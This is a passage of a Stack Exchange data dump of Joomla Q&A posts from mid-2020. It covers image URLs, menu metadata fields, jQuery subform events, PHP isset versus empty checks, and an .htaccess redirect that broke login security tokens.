correctly.&lt;/p&gt;&#xA;&lt;p&gt;Is Joomla doing something else or could this be a bug?&lt;/p&gt;&#xA;" OwnerUserId="13799" LastEditorUserId="12352" LastEditDate="2020-07-23T14:50:56.417" LastActivityDate="2020-07-23T14:50:56.417" Title="Joomla not logging PHP errors to file with system default error_reporting" Tags="|joomla-3.x|php7|error-reporting|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="28310" PostTypeId="2" ParentId="28308" CreationDate="2020-07-23T19:16:51.593" Score="0" Body="&lt;p&gt;You would need to override the core functionality. Or simply, in your template(s) where you output your images, you could just use:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JUri::base() . $yourimagevariable;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which will generate:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;https://yourdomain.com/images/yourimage.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-07-23T19:16:51.593" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28311" PostTypeId="1" AcceptedAnswerId="33480" CreationDate="2020-07-24T13:25:08.713" Score="0" ViewCount="254" Body="&lt;p&gt;I want to add a media-field to the menus settings to pick an image for each menu item and output this as open graph images. I see two options:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I add the field to the tab &amp;quot;Metadata&amp;quot; which then will be outputted via &lt;code&gt;\libraries\src\Document\Renderer\Html\HeadRenderer.php&lt;/code&gt;. But i do not know where i can add fields to that tab.&lt;/li&gt;&#xA;&lt;li&gt;I add the field in my custom (category blog) layout xml-file and then somehow get it in my template index.php but i do not know how to get access to the field there and &lt;a href=&quot;https://docs.joomla.org/J3.x:Layout_Overrides_in_Joomla#Controlling_the_Template_for_Alternative_Menu_Items&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; says: &lt;br /&gt;&lt;em&gt;&amp;quot;Note that if you add new parameters, these can be used in the layout file but will not be used in the core model or view files.&amp;quot;&lt;/em&gt; &lt;br /&gt;Would i somehow have to put my field in the layout file to use it in my index.php?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14176" LastActivityDate="2023-11-16T12:15:37.790" Title="Add field to menu settings to output open graph image" Tags="|joomla-3.x|metadata|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28312" PostTypeId="2" ParentId="28311" CreationDate="2020-07-24T13:45:31.107" Score="0" Body="&lt;p&gt;To add the fields to the com_menus item &lt;code&gt;Metadata&lt;/code&gt; tab, you would need to write a &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_content_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;content plugin&lt;/a&gt; to inject the fields.&lt;/p&gt;&#xA;&lt;p&gt;Your Option 2 sounds clunky. In this case, I expect you would need to create a new filed in your category layout xml, then instantiate menus, loop through categories and insert into the menu based on the category IDs. Option 1 is the go-to solution for this problem.&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-07-24T13:45:31.107" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28314" PostTypeId="2" ParentId="18940" CreationDate="2020-07-27T13:14:15.717" Score="1" Body="&lt;p&gt;The answer here is very helpful and solved my issue.&lt;/p&gt;&#xA;&lt;p&gt;To override, Joomla components generally seem to use this in the model: Using $limit = 0 shows all items&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;protected function populateState($ordering = null, $direction = null)&#xA;{&#xA;    // set limit&#xA;    $this-&amp;gt;setState('list.limit', $limit);&#xA;    // set start (eg. what record to begin pagination at)&#xA;    $this-&amp;gt;setState('list.start', $value);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/3808/how-to-set-getitems-limit/3810#3810&quot;&gt;How to set get(&amp;#39;Items&amp;#39;) limit?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2020-07-27T13:14:15.717" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28315" PostTypeId="2" ParentId="24898" CreationDate="2020-07-27T13:15:54.997" Score="1" Body="&lt;p&gt;Thanks to @Lodder for providing the code below which is very helpful&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; &#xA;defined('_JEXEC') or die('Restricted access');&#xA; &#xA;use Joomla\CMS\Http\HttpFactory;&#xA;use Joomla\Registry\Registry;&#xA; &#xA;class ModFooHelper&#xA;{&#xA;    public function __construct()&#xA;    {&#xA;        $this-&amp;gt;baseurl = 'https://www.eventbriteapi.com/v3/users/me/events?token=mytoken';&#xA;    }&#xA; &#xA;    public static function getEvents()&#xA;    {&#xA;        $httpOptions = [&#xA;            'userAgent' =&amp;gt; &amp;quot;User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17\r\n&amp;quot;&#xA;        ];&#xA; &#xA;        $options = new Registry($httpOptions);&#xA;        $http    = HttpFactory::getHttp($options);&#xA;        $httpResult = $http-&amp;gt;get($this-&amp;gt;baseurl);&#xA; &#xA;        $results = json_decode($httpResult-&amp;gt;body);&#xA; &#xA;        return $results;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2020-07-27T13:15:54.997" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28316" PostTypeId="1" CreationDate="2020-07-27T18:37:39.303" Score="0" ViewCount="50" Body="&lt;p&gt;I am making a plugin for a custom component. It's a basic editor extend plugin that allows users to select an item from custom component using a button in editor. It's simular to native editor extend buttons to add link to article, menu and contact items.&lt;/p&gt;&#xA;&lt;p&gt;To do this, I need to add a &lt;code&gt;modal.php&lt;/code&gt; file to my components view tmpl folder. Should I update the component to add the new tmpl file? Or is it possible to add the file on plugin installation?&lt;/p&gt;&#xA;" OwnerUserId="13507" LastActivityDate="2020-07-27T18:37:39.303" Title="Possible to add template file to component on plugin installation?" Tags="|plugin|templates|custom-component|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28317" PostTypeId="2" ParentId="28308" CreationDate="2020-07-27T23:34:37.307" Score="2" Body="&lt;p&gt;I think you are looking for the rawvalue property of the field object&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/* Rearrange Fields for use */&#xA;foreach($this-&amp;gt;item-&amp;gt;jcfields as $jcfield){&#xA;    $this-&amp;gt;item-&amp;gt;jcFields[$jcfield-&amp;gt;name] = $jcfield;&#xA;}&#xA;&#xA;$absolute_path_to_image = JUri::base() . $this-&amp;gt;item-&amp;gt;jcFields['your-field-name']-&amp;gt;rawvalue;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2020-07-27T23:34:37.307" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28318" PostTypeId="1" CreationDate="2020-07-29T13:17:08.737" Score="1" ViewCount="255" Body="&lt;p&gt;I have a subform which is working perfectly itself.&#xA;If I add a new row (+), I have add the function as mentioned on joomla subform documentation:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).on('subform-row-add', function(event, row){&#xA;            jQuery('.timepicker').timepicker();&#xA;&#xA;            // jform_tsch__tsch1__trln / jform_tsch__tsch1__lfld&#xA;            var lcID    = 'jform_tsch__' + jQuery(row).data('group') + '__trln';&#xA;            var flID    = 'jform_tsch__' + jQuery(row).data('group') + '__lfld';&#xA;            var loccode = jQuery('#jform_tsch__' + jQuery(row).data('group') + '__trln').val();&#xA;&#xA;            var init    = false;&#xA;            jQuery('#'+ lcID).trigger(&amp;quot;liszt:updated&amp;quot;);&#xA;            console.log('lcID: ' + lcID + ' - data group: ' + jQuery(row).data('group') + ' - loccode: ' + loccode);&#xA;&#xA;            getLocationFields(loccode, flID, init);&#xA;        });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So far, this is working perfectly.&lt;/p&gt;&#xA;&lt;p&gt;But I have also an event selector for event on id and here I have an issue with for the new row if  the new row is not first saved:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('select[id^=jform_tsch__tsch][id$=__trln]').change(function () {&#xA;            //jform_tsch__tsch0__trln&#xA;            //jform_tsch__tsch1__trln&#xA;            var lcid = jQuery(this).attr('id'); //DK, IS&#xA;            var target = lcid.split('__');&#xA;            //field ID, #&#xA;            var flID = target[0]+'__'+target[1] + '__lfld';&#xA;            //var fsel = jQuery('#'+subID).val();&#xA;            var loccode = jQuery(this).val();&#xA;            var init = false;&#xA;&#xA;            getLocationFields(loccode, flID, init);&#xA; });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When an row of the subform is saved, it works perfectly. When I change the select field of&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;'jform_tsch__tschx__trln'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;, then is (geLocationFields) executed.&lt;/p&gt;&#xA;&lt;p&gt;BUT:&lt;br&gt;&#xA;If I add a new row to the subform and I change the select of 'jform_tsch__tsch0__trln', nothing is happening/executed.&lt;/p&gt;&#xA;&lt;p&gt;If I save the details page incl. the new row of the subform and if I change than the value of the select of 'jform_tsch__tsch0__trln', the event trigger is executed.&lt;/p&gt;&#xA;&lt;p&gt;So it seems to me that the new row is not added to the DOM. Therefore I have add the line&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#'+ lcID).trigger(&amp;quot;liszt:updated&amp;quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But that makes no difference.&lt;/p&gt;&#xA;&lt;p&gt;Anybody have an idea how to get the new row field in &lt;code&gt;jQuery(document).on('subform-row-add', function(event, row){&lt;/code&gt; working with the event selector, without first having to save the details page?&lt;/p&gt;&#xA;&lt;p&gt;Do I have to add an event listener with jQuery? (but how?)&lt;/p&gt;&#xA;&lt;p&gt;Do I have to update the DOM in one or other way?&lt;/p&gt;&#xA;" OwnerUserId="14338" LastEditorUserId="12352" LastEditDate="2020-07-29T21:13:17.400" LastActivityDate="2022-04-22T12:04:55.397" Title="Joomla Subform adding row, the selector event is not fired if I change the value of the select element?" Tags="|jquery|subform|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28319" PostTypeId="1" AcceptedAnswerId="28328" CreationDate="2020-07-30T06:08:32.407" Score="1" ViewCount="689" Body="&lt;p&gt;I ran into the below problem that blocks my users to log into my site:&lt;/p&gt;&#xA;&lt;p&gt;When the user needs to log in she gets a notification email with a button that links to the below address:&#xA;&lt;a href=&quot;https://www.gonativeguide.com/de/backoffice/markavail?inquiry=437&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.gonativeguide.com/de/backoffice/markavail?inquiry=437&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Joomla changes the above link to the below one, asking the user to log in:&#xA;&lt;a href=&quot;https://www.gonativeguide.com/de/component/users?view=login&amp;amp;Itemid=214&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.gonativeguide.com/de/component/users?view=login&amp;amp;Itemid=214&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Previously this worked perfectly fine. But since yesterday, my users get the below error message:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;Warnung Der Sicherheitstoken ist falsch. Die Anfrage wurde&#xA;zurückgewiesen, um eine Sicherheitsverletzung zu verhindern. Bitte die&#xA;Seite aktualisieren und erneut versuchen.&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I believe this is equivalent to:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;The most recent request was denied because it contained an invalid&#xA;security token. Please refresh the page and try again&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I think I could find a workaround to the problem: If I log in by typing &lt;a href=&quot;http://www.gonativeguide.com/login&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.gonativeguide.com/login&lt;/a&gt; and THEN click the link in the email, then it seems to be working. However it is super embarassing to ask my users to do so all the time, so I'd like to find a solution to the problem.&lt;/p&gt;&#xA;&lt;p&gt;I read through the related (lengthy)forums talking about the invalid security token problem and tried the below suggestions, but none helped:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Flush cache at the host&lt;/li&gt;&#xA;&lt;li&gt;Flush cache in Joomla&lt;/li&gt;&#xA;&lt;li&gt;Checking if the System - Page cache plugin is disabled (it was disabled)&lt;/li&gt;&#xA;&lt;li&gt;Empty the _session table in the Joomla database&lt;/li&gt;&#xA;&lt;li&gt;Upgrading Joomla to the latest version&lt;/li&gt;&#xA;&lt;li&gt;Fixing the database (Extensions / Manage / Database)&lt;/li&gt;&#xA;&lt;li&gt;Extending the session timeout to 10 hours&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;As a sidenote: a few days ago I added some new entries to the .htaccess file to redirect the non-www and http requests to https://www. Not sure if this has anything to do with the problem.&lt;/p&gt;&#xA;&lt;p&gt;It seems that this is not a new issue, but please let me know, if based on the above description, you can suggest anything to fix this in my case.&lt;/p&gt;&#xA;&lt;p&gt;Thanks,&#xA;W.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; It turned out that the below .htaccess entry was causing the issue. Can somebody explain, what is wrong with this and how to write it properly to direct all requests to https://www...?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;## Begin - Custom redirects&#xA;#&#xA;# If you need to redirect some pages, or set a canonical non-www to&#xA;# www redirect (or vice versa), place that code here. Ensure those&#xA;# redirects use the correct RewriteRule syntax and the [R=301,L] flags.&#xA;#&#xA;&#xA;## Force https and www&#xA;#RewriteCond %{HTTPS} off [OR]&#xA;#RewriteCond %{HTTP_HOST} !^www\.gonativeguide\.com$ [NC]&#xA;#RewriteRule ^(.*)$ https://www.gonativeguide.com/$1 [L,R=301]&#xA;&#xA;## Remove trailing slash if not directory&#xA;#RewriteCond %{REQUEST_FILENAME} !-d&#xA;#RewriteCond %{REQUEST_URI} (.+)/$&#xA;#RewriteRule ^(.*)/$ https://www.gonativeguide.com/$1 [R=301,L]&#xA;&#xA;## End - Custom redirects &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12966" LastEditorUserId="12966" LastEditDate="2020-07-30T10:13:47.227" LastActivityDate="2020-08-01T06:57:10.727" Title="Invalid security token locks out users trying to log in through an email link" Tags="|joomla-3.x|login|.htaccess-configuration|security-token|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="28320" PostTypeId="2" ParentId="28305" CreationDate="2020-07-30T08:19:58.417" Score="2" Body="&lt;p&gt;Just an FYI that Joomla 3.10-alpha has now been released so the upgrade process can now easily done.&lt;/p&gt;&#xA;&lt;h3&gt;Instructions:&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to the Joomla Update Component Options and switch the Update Channel to &lt;code&gt;Testing&lt;/code&gt; and the Minimum Stability option to &lt;code&gt;Alpha&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Update to 3.10 alpha1 using the Joomla Update Component.&lt;/li&gt;&#xA;&lt;li&gt;After you have updated to 3.10 alpha please switch the Update&#xA;Channel to &lt;code&gt;Custom URL&lt;/code&gt; and set the Custom URL to &lt;code&gt;https://update.joomla.org/core/test/310to4_list.xml&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;After the upgrade please switch back to the &lt;code&gt;Testing&lt;/code&gt; Update Channel with the &lt;code&gt;Beta&lt;/code&gt; minimum stability to get future updates between Joomla 4 betas.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="168" LastActivityDate="2020-07-30T08:19:58.417" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28321" PostTypeId="1" CreationDate="2020-07-30T09:01:19.353" Score="0" ViewCount="211" Body="&lt;p&gt;I have an issue with setting up variables - if the custom field is filled then it should be shown, if it's empty - then date (+1 month from today's date) is shown.&lt;/p&gt;&#xA;&lt;p&gt;However, it doesn't work properly. Custom field values are shown as they should, but I can't get the date if the field value is empty.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;if (isset($fields['exp-date'])) {&#xA;    echo $field_value = $fields['exp-date']-&amp;gt;rawvalue;&#xA;    $timeset = $fields['exp-date']; // then assign&#xA;}&#xA;if (!isset($fields['exp-date'])) {&#xA;    echo (new DateTime('+1 month'))-&amp;gt;format('d.m.Y');&#xA;    $timeset = '';&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;P.S. I get custom fields shown in module using the next code and FieldsHelper (everything works perfectly).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$item-&amp;gt;jcfields = FieldsHelper::getFields('com_content.article', $item, true);&#xA;$fields = [];&#xA;foreach($item-&amp;gt;jcfields as $jcfield)&#xA;{&#xA;    $fields[$jcfield-&amp;gt;name] = $jcfield;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14427" LastEditorUserId="12352" LastEditDate="2020-07-30T11:18:03.657" LastActivityDate="2023-12-12T21:05:20.633" Title="Using isset or is not set PHP variable with extra fields?" Tags="|php|custom-field|variable|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28322" PostTypeId="2" ParentId="28321" CreationDate="2020-07-30T09:19:05.337" Score="0" Body="&lt;p&gt;There is a difference between &lt;code&gt;!isset&lt;/code&gt; and &lt;code&gt;empty&lt;/code&gt; in PHP so while your code is looking at &lt;code&gt;isset&lt;/code&gt; vs &lt;code&gt;!isset&lt;/code&gt; but your description is saying &lt;code&gt;empty&lt;/code&gt; or not &lt;code&gt;empty&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Your field 'exp-date' can exist but have no value in it meaning it is empty.&lt;/p&gt;&#xA;&lt;p&gt;Your second statement could be changed to check if the field &lt;code&gt;isset&lt;/code&gt; and &lt;code&gt;empty&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($fields['exp-date']) &amp;amp;&amp;amp; empty($fields['exp-date'])) {&#xA;    echo (new DateTime('+1 month'))-&amp;gt;format('d.m.Y');&#xA;    $timeset = '';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You might find this explanation useful , particularly the table that shows the different states, &lt;a href=&quot;https://www.virendrachandak.com/techtalk/php-isset-vs-empty-vs-is_null/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.virendrachandak.com/techtalk/php-isset-vs-empty-vs-is_null/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2020-07-30T11:03:53.180" LastActivityDate="2020-07-30T11:03:53.180" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28323" PostTypeId="2" ParentId="28318" CreationDate="2020-07-30T10:27:32.543" Score="1" Body="&lt;p&gt;I ran in to a similar problem earlier this week, mainly due to the use of &lt;code&gt;showon&lt;/code&gt; which I required to make the field &lt;code&gt;required&lt;/code&gt; if the &lt;code&gt;showon&lt;/code&gt; condition was met; something Joomla 3.X cannot do by default, but I believe is resolved in v4. I got it working, after many experiments, by just moving the things around into a function. Basically here's what I'm doing:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$(&amp;quot;body&amp;quot;).on(&amp;quot;subform-row-add&amp;quot;, function() {&#xA;    myFunc();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then I declare myFunc() to do this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    function myFunc(event, container)&#xA;    {&#xA;        container = container || document;&#xA;&#xA;        js(container).find('.yourdropdownelement').on('change liszt:updated', function(change, selected) {&#xA;            // do whatever you need to do, then we'll trigger the update on the update; so this function is called recursively.&#xA;        });&#xA;&#xA;        js('.yourdropdownelement').trigger('liszt:updated');&#xA;    }&#xA;&#xA;    myFunc();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-07-30T10:27:32.543" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28324" PostTypeId="2" ParentId="28321" CreationDate="2020-07-30T10:43:34.243" Score="0" Body="&lt;p&gt;Thanks @Irata, your code didn't work for me, but the clues and the provided link gave me a hint.&lt;/p&gt;&#xA;&lt;p&gt;This is my new code which works as required (although I'm not sure why it works and how I got it):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$field_value = $fields['exp-date']-&amp;gt;rawvalue;&#xA;$timeset = $field_value;&#xA;&#xA;if (!empty($timeset))&#xA;{&#xA;    echo $field_value = $fields['exp-date']-&amp;gt;rawvalue;&#xA;}&#xA;else&#xA;{&#xA;    echo (new DateTime('+1 month'))-&amp;gt;format('d.m.Y');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14427" LastEditorUserId="12352" LastEditDate="2020-07-30T11:29:06.997" LastActivityDate="2020-07-30T11:29:06.997" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28325" PostTypeId="2" ParentId="28318" CreationDate="2020-07-31T09:20:16.337" Score="1" Body="&lt;p&gt;I got a resolution yesterday via &lt;a href=&quot;https://groups.google.com/g/joomla-dev-general/c/bn0zWUKQv6A&quot; rel=&quot;nofollow noreferrer&quot;&gt;another answer on another forum&lt;/a&gt; from Mark Dexter, so the credits goes to Mark!&lt;/p&gt;&#xA;&lt;p&gt;This does the job, but I don't understand how it works.  I now have an event selector in an event selector. I was not even aware that this is possible in jQuery.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).on('subform-row-add', function(event, row){&#xA;            jQuery('.timepicker').timepicker();&#xA;&#xA;&#xA;            // jform_tsch__tsch1__lfld&#xA;&#xA;            var lcID    = 'jform_tsch__' + jQuery(row).data('group') + '__trln';&#xA;            var flID    = 'jform_tsch__' + jQuery(row).data('group') + '__lfld';&#xA;            var loccode = jQuery('#jform_tsch__' + jQuery(row).data('group') + '__trln').val();&#xA;&#xA;            //var loccode = jQuery('#' + lcID).val();&#xA;            var init    = false;&#xA;           &#xA;            jQuery('#'+ lcID + &amp;quot; option:first&amp;quot;).attr('selected','selected');&#xA;&#xA;            //jQuery('#'+ lcID).trigger(&amp;quot;liszt:updated&amp;quot;);&#xA;            //console.log('lcID: ' + lcID + ' - data group: ' + jQuery(row).data('group') + ' - loccode: ' + loccode);&#xA;&#xA;            getLocationFields(loccode, flID, init);&#xA;            // MODIFICATION: EVENT SELECTOR COPIED AND PUT IN THIS EVENT SELECTOR, 'FUNCTION IN A FUNCTION' or EVENT SELECTOR IN AN EVENT SELECTOR !!!???&#xA;            jQuery('select[id^=jform_tsch__tsch][id$=__trln]').bind('change', function () {&#xA;                //jQuery('select[id^=jform_tsch__tsch][id$=__trln]').change(function () {&#xA;&#xA;                //jform_tsch__tsch0__trln&#xA;                //jform_tsch__tsch1__trln&#xA;                var lcid = jQuery(this).attr('id'); //DK, IS&#xA;                var target = lcid.split('__');&#xA;                //field ID, #&#xA;                var flID = target[0]+'__'+target[1] + '__lfld';&#xA;                //var fsel = jQuery('#'+subID).val();&#xA;                var loccode = jQuery(this).val();&#xA;                var init = false;&#xA;&#xA;                getLocationFields(loccode, flID, init);&#xA;            });&#xA;&#xA;        });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Mark explanation is:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I think the problem is that the select control does not exist on page load, so the on change function cannot be bound to it. The select is created when you click on the subform &amp;quot;add&amp;quot; button, so it exists when the on-group-add event is fired. So binding the control to the change event works at that point.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I will try Grant G's solution as well, I will learn and see what is possible.&lt;/p&gt;&#xA;" OwnerUserId="14338" LastEditorUserId="12352" LastEditDate="2020-07-31T09:47:17.067" LastActivityDate="2020-07-31T09:47:17.067" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28326" PostTypeId="1" AcceptedAnswerId="28699" CreationDate="2020-07-31T23:06:48.657" Score="2" ViewCount="685" Body="&lt;p&gt;I've created and overridden &lt;a href=&quot;https://joomla.stackexchange.com/q/26659/12352&quot;&gt;a mod_feed&lt;/a&gt; targeting the &lt;a href=&quot;http://feeds.joomla.org/JoomlaSecurityNews&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla! Security News Feed&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://dev.joomlalondon.co.uk/index.php?option=com_content&amp;amp;view=category&amp;amp;layout=g5_hydrogen:blog-news--bbc&amp;amp;id=55&amp;amp;Itemid=1334&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dev.joomlalondon.co.uk/index.php?option=com_content&amp;amp;view=category&amp;amp;layout=g5_hydrogen:blog-news--bbc&amp;amp;id=55&amp;amp;Itemid=1334&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For some reason the module title isn't showing even though I've set it to yes.&lt;/p&gt;&#xA;&lt;p&gt;Is this controlled within the module?  I thought this was controlled outside of the module override in the schema.&lt;/p&gt;&#xA;&lt;p&gt;If it's controlled within the module, I can't find anything that shows it.  I have checked other core modules and can't find it either.  If it's not controlled within the module, what could be my problem?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="12352" LastEditDate="2020-08-01T02:07:21.383" LastActivityDate="2020-11-29T19:54:40.200" Title="Module title is not showing despite setting module title to yes" Tags="|module|overrides|feeds|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28327" PostTypeId="2" ParentId="28326" CreationDate="2020-08-01T00:03:35.867" Score="4" Body="&lt;p&gt;You are using a Gantry template, which likely has pre-defined module positions.&lt;/p&gt;&#xA;&lt;p&gt;In the Hydrogen template that you're using, the module position will be getting called like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;custom-position&amp;quot;/&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note there is no &lt;code&gt;type&lt;/code&gt; value, therefore it'll use the default (inherited) style. This -- for some reason that I've never figured out nor delved too deeply into -- does not display module titles by default. So, you can either:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;add a &lt;code&gt;type&lt;/code&gt; value to your &lt;code&gt;jdoc:include&lt;/code&gt; or&lt;/li&gt;&#xA;&lt;li&gt;set the template in the module (under Advanced &amp;gt; Module Style) to use a style which does display the title. For example: &amp;quot;XHTML&amp;quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5627" LastEditorUserId="12352" LastEditDate="2020-08-01T01:54:33.620" LastActivityDate="2020-08-01T01:54:33.620" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28328" PostTypeId="2" ParentId="28319" CreationDate="2020-08-01T06:57:10.727" Score="1" Body="&lt;p&gt;After some experimentation and with the help of @Irata, it turned out that the new .htaccess entry was causing the problem. With this entry I can reproduce the issue 100%, removing the entry solves the problem. I don't know why this entry conflicts with the security token, but will close this ticket and open a new one for this question. Please see below the .htaccess entry:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;## Begin - Custom redirects&#xA;#&#xA;# If you need to redirect some pages, or set a canonical non-www to&#xA;# www redirect (or vice versa), place that code here. Ensure those&#xA;# redirects use the correct RewriteRule syntax and the [R=301,L] flags.&#xA;#&#xA;&#xA;## Force https and www&#xA;#RewriteCond %{HTTPS} off [OR]&#xA;#RewriteCond %{HTTP_HOST} !^www\.gonativeguide\.com$ [NC]&#xA;#RewriteRule ^(.*)$ https://www.gonativeguide.com/$1 [L,R=301]&#xA;&#xA;## Remove trailing slash if not directory&#xA;#RewriteCond %{REQUEST_FILENAME} !-d&#xA;#RewriteCond %{REQUEST_URI} (.+)/$&#xA;#RewriteRule ^(.*)/$ https://www.gonativeguide.com/$1 [R=301,L]&#xA;&#xA;## End - Custom redirects &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12966" LastActivityDate="2020-08-01T06:57:10.727" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
